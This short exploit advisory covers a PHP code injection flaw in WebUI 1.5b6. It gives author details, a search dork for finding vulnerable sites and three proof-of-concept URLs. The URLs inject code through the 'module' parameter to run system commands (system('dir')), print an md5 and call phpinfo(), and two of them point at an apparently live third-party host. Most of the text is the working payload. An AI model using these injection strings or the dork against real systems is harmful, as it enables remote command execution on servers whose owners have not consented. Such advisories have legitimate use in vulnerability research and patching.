WebUI version 1.5b6 suffers from a PHP code injection vulnerability.
2e94bd8f55f28d6396e2557938663fabbc2fd9c608a3f99834cff0959cd50849
| # Title : WebUI 1.5b6 PHP code injection Vulnerability
| # Author : indoushka
| # email : indoushka4ever@gmail.com
| # Dork : (c)2002-2010 Young Consulting
| # Tested on: Win 8.1 fr pro / 22:30 * 15/05/2015
| # Bug : PHP code injection
| # Download : https://github.com/baram01/webui/
=======================================
PHP code injection :
http://cacti.vipnet.ci/?module=%27;echo%20system%28%27dir%27%29;%27&option=1
http://127.0.0.1/webui/?module=%27;print%28md5%28indoushka%29%29;$a=%27
http://cacti.vipnet.ci/?module=%27;print_r%28phpinfo%28%29%29;%27&option=1